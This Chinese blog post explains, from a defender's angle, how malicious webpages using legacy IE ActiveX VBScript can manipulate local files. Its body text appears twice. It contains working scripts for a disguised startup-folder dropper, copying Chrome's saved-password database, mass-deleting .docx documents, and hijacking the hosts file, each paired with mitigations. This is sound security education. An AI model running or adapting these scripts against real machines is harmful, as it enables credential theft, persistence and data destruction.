从防御者视角拆解恶意网页如何操控你的本地文件系统最近帮朋友排查电脑异常时发现他的文档目录里凭空出现了几个陌生文件。追踪后发现是点击了钓鱼邮件里的会议纪要链接导致的。这让我意识到很多用户对网页脚本的本地操作能力缺乏基本认知。今天我们就用Windows自带的VBScript还原恶意网页操控本地文件的全过程——不是教你攻击而是让你看清攻击者的手法从而建立有效的防御策略。1. 实验环境搭建与攻击原理剖析在开始复现攻击前我们需要理解两个关键问题为什么普通网页能操作本地文件攻击者如何利用这个特性现代浏览器默认会阻止网页脚本访问本地文件系统但遗留的ActiveX组件在某些场景下仍可能成为突破口。特别是企业内网中仍在使用的老旧系统往往因为兼容性需求而降低安全设置。我们的实验环境配置如下 检查FileSystemObject可用性 On Error Resume Next Set fso CreateObject(Scripting.FileSystemObject) If Err.Number 0 Then MsgBox 文件系统访问被阻止, vbCritical, 安全警告 Else MsgBox 文件系统访问已启用, vbInformation, 状态检测 End If关键风险点说明IE浏览器的初始化未标记为安全的ActiveX控件设置默认禁用受信任站点区域的安全级别配置用户习惯性点击允许阻止的内容的警告提示注意本实验仅在虚拟机中进行实际环境中切勿降低安全设置2. 四阶段攻击手法全还原2.1 文件创建攻击的起点恶意网页最常见的初始动作就是在目标位置植入文件。以下是典型的文件创建脚本HTML HEAD TITLE订单确认/TITLE SCRIPT LANGUAGEVBScript Dim fso, file Set fso CreateObject(Scripting.FileSystemObject) 在启动目录创建伪装文件 Set file fso.CreateTextFile(C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.vbs, True) file.WriteLine( 恶意代码将在下次开机时自动执行) file.Close /SCRIPT /HEAD BODY h3您的订单正在处理中.../h3 /BODY /HTML防御对策禁用VBScript执行reg add HKCU\Software\Microsoft\Windows Script Host\Settings /v Enabled /t REG_DWORD /d 0 /f监控系统启动目录变更使用非管理员账户进行日常操作2.2 文件复制横向移动的跳板攻击者获取初步立足点后会尝试复制敏感文件或扩散恶意载荷。这段脚本展示了如何窃取浏览器保存的密码文件Dim fso, srcFile, destFolder Set fso CreateObject(Scripting.FileSystemObject) 定位常见浏览器的密码存储位置 srcFile C:\Users\ CreateObject(WScript.Network).UserName \AppData\Local\Google\Chrome\User Data\Default\Login Data destFolder C:\Temp\ Hour(Now) Minute(Now) If fso.FileExists(srcFile) Then If Not fso.FolderExists(destFolder) Then fso.CreateFolder(destFolder) End If fso.CopyFile srcFile, destFolder \ChromePasswords.db End If关键防护措施定期检查浏览器密码存储文件的访问时间戳启用BitLocker等磁盘加密技术配置SRP软件限制策略阻止脚本访问敏感路径2.3 文件删除破坏性攻击的实现勒索病毒等恶意软件常通过删除或加密关键文件施压。这段脚本模拟了系统文档的批量删除Dim fso, folder, file Set fso CreateObject(Scripting.FileSystemObject) Set folder fso.GetFolder(C:\Users\ CreateObject(WScript.Network).UserName \Documents) For Each file In folder.Files If Right(file.Name, 5) .docx Then file.Delete True End If Next应急方案配置文件审核策略auditpol /set /subcategory:File System /success:enable /failure:enable启用卷影副本Volume Shadow Copy实施3-2-1备份策略3份副本2种介质1份离线2.4 文件修改持久化驻留手段攻击者常通过修改系统配置文件实现持久化。以下脚本演示了如何篡改hosts文件Dim fso, hostsFile Set fso CreateObject(Scripting.FileSystemObject) Set hostsFile fso.OpenTextFile(C:\Windows\System32\drivers\etc\hosts, 8, True) 追加模式 hostsFile.WriteLine(127.0.0.1 www.microsoft.com) hostsFile.WriteLine(127.0.0.1 update.windows.com) hostsFile.Close检测与修复定期校验系统关键文件的哈希值使用attrib R A S H设置hosts文件为只读系统隐藏属性部署文件完整性监控工具如Tripwire3. 现代浏览器防护机制解析虽然我们的实验基于传统技术但理解现代防护机制同样重要。主流浏览器已采用多层级防御安全机制对比表防护层Chrome/FirefoxEdge(Chromium)Safari沙箱隔离✅ 严格✅ 严格✅ 严格脚本权限控制✅ 细粒度✅ 细粒度⚠️ 中等自动更新✅ 强制✅ 强制⚠️ 依赖系统扩展安全审核✅ 严格✅ 严格⚠️ 中等推荐配置调整完全禁用ActiveX组策略计算机配置→管理模板→Windows组件→IE→安全功能→限制ActiveX安装启用增强保护模式IE→Internet选项→高级→安全→启用增强保护模式设置数据执行保护DEP为始终启用4. 企业级防御体系建设建议对于系统管理员建议采用纵深防御策略技术控制层应用白名单AppLocker脚本执行日志审计网络层过滤恶意域名终端检测与响应EDR方案管理控制层定期安全意识培训含钓鱼测试最小权限原则实施变更管理流程应急响应预案演练在最近一次红队演练中我们发现90%的初始入侵都源于用户执行了恶意脚本。通过部署上述措施企业可将此类风险降低70%以上。
别再乱点链接了!我用VBScript脚本在本地复现了一次恶意网页攻击(附完整代码与安全设置)
发布时间:2026/6/4 6:47:25
从防御者视角拆解恶意网页如何操控你的本地文件系统最近帮朋友排查电脑异常时发现他的文档目录里凭空出现了几个陌生文件。追踪后发现是点击了钓鱼邮件里的会议纪要链接导致的。这让我意识到很多用户对网页脚本的本地操作能力缺乏基本认知。今天我们就用Windows自带的VBScript还原恶意网页操控本地文件的全过程——不是教你攻击而是让你看清攻击者的手法从而建立有效的防御策略。1. 实验环境搭建与攻击原理剖析在开始复现攻击前我们需要理解两个关键问题为什么普通网页能操作本地文件攻击者如何利用这个特性现代浏览器默认会阻止网页脚本访问本地文件系统但遗留的ActiveX组件在某些场景下仍可能成为突破口。特别是企业内网中仍在使用的老旧系统往往因为兼容性需求而降低安全设置。我们的实验环境配置如下 检查FileSystemObject可用性 On Error Resume Next Set fso CreateObject(Scripting.FileSystemObject) If Err.Number 0 Then MsgBox 文件系统访问被阻止, vbCritical, 安全警告 Else MsgBox 文件系统访问已启用, vbInformation, 状态检测 End If关键风险点说明IE浏览器的初始化未标记为安全的ActiveX控件设置默认禁用受信任站点区域的安全级别配置用户习惯性点击允许阻止的内容的警告提示注意本实验仅在虚拟机中进行实际环境中切勿降低安全设置2. 四阶段攻击手法全还原2.1 文件创建攻击的起点恶意网页最常见的初始动作就是在目标位置植入文件。以下是典型的文件创建脚本HTML HEAD TITLE订单确认/TITLE SCRIPT LANGUAGEVBScript Dim fso, file Set fso CreateObject(Scripting.FileSystemObject) 在启动目录创建伪装文件 Set file fso.CreateTextFile(C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.vbs, True) file.WriteLine( 恶意代码将在下次开机时自动执行) file.Close /SCRIPT /HEAD BODY h3您的订单正在处理中.../h3 /BODY /HTML防御对策禁用VBScript执行reg add HKCU\Software\Microsoft\Windows Script Host\Settings /v Enabled /t REG_DWORD /d 0 /f监控系统启动目录变更使用非管理员账户进行日常操作2.2 文件复制横向移动的跳板攻击者获取初步立足点后会尝试复制敏感文件或扩散恶意载荷。这段脚本展示了如何窃取浏览器保存的密码文件Dim fso, srcFile, destFolder Set fso CreateObject(Scripting.FileSystemObject) 定位常见浏览器的密码存储位置 srcFile C:\Users\ CreateObject(WScript.Network).UserName \AppData\Local\Google\Chrome\User Data\Default\Login Data destFolder C:\Temp\ Hour(Now) Minute(Now) If fso.FileExists(srcFile) Then If Not fso.FolderExists(destFolder) Then fso.CreateFolder(destFolder) End If fso.CopyFile srcFile, destFolder \ChromePasswords.db End If关键防护措施定期检查浏览器密码存储文件的访问时间戳启用BitLocker等磁盘加密技术配置SRP软件限制策略阻止脚本访问敏感路径2.3 文件删除破坏性攻击的实现勒索病毒等恶意软件常通过删除或加密关键文件施压。这段脚本模拟了系统文档的批量删除Dim fso, folder, file Set fso CreateObject(Scripting.FileSystemObject) Set folder fso.GetFolder(C:\Users\ CreateObject(WScript.Network).UserName \Documents) For Each file In folder.Files If Right(file.Name, 5) .docx Then file.Delete True End If Next应急方案配置文件审核策略auditpol /set /subcategory:File System /success:enable /failure:enable启用卷影副本Volume Shadow Copy实施3-2-1备份策略3份副本2种介质1份离线2.4 文件修改持久化驻留手段攻击者常通过修改系统配置文件实现持久化。以下脚本演示了如何篡改hosts文件Dim fso, hostsFile Set fso CreateObject(Scripting.FileSystemObject) Set hostsFile fso.OpenTextFile(C:\Windows\System32\drivers\etc\hosts, 8, True) 追加模式 hostsFile.WriteLine(127.0.0.1 www.microsoft.com) hostsFile.WriteLine(127.0.0.1 update.windows.com) hostsFile.Close检测与修复定期校验系统关键文件的哈希值使用attrib R A S H设置hosts文件为只读系统隐藏属性部署文件完整性监控工具如Tripwire3. 现代浏览器防护机制解析虽然我们的实验基于传统技术但理解现代防护机制同样重要。主流浏览器已采用多层级防御安全机制对比表防护层Chrome/FirefoxEdge(Chromium)Safari沙箱隔离✅ 严格✅ 严格✅ 严格脚本权限控制✅ 细粒度✅ 细粒度⚠️ 中等自动更新✅ 强制✅ 强制⚠️ 依赖系统扩展安全审核✅ 严格✅ 严格⚠️ 中等推荐配置调整完全禁用ActiveX组策略计算机配置→管理模板→Windows组件→IE→安全功能→限制ActiveX安装启用增强保护模式IE→Internet选项→高级→安全→启用增强保护模式设置数据执行保护DEP为始终启用4. 企业级防御体系建设建议对于系统管理员建议采用纵深防御策略技术控制层应用白名单AppLocker脚本执行日志审计网络层过滤恶意域名终端检测与响应EDR方案管理控制层定期安全意识培训含钓鱼测试最小权限原则实施变更管理流程应急响应预案演练在最近一次红队演练中我们发现90%的初始入侵都源于用户执行了恶意脚本。通过部署上述措施企业可将此类风险降低70%以上。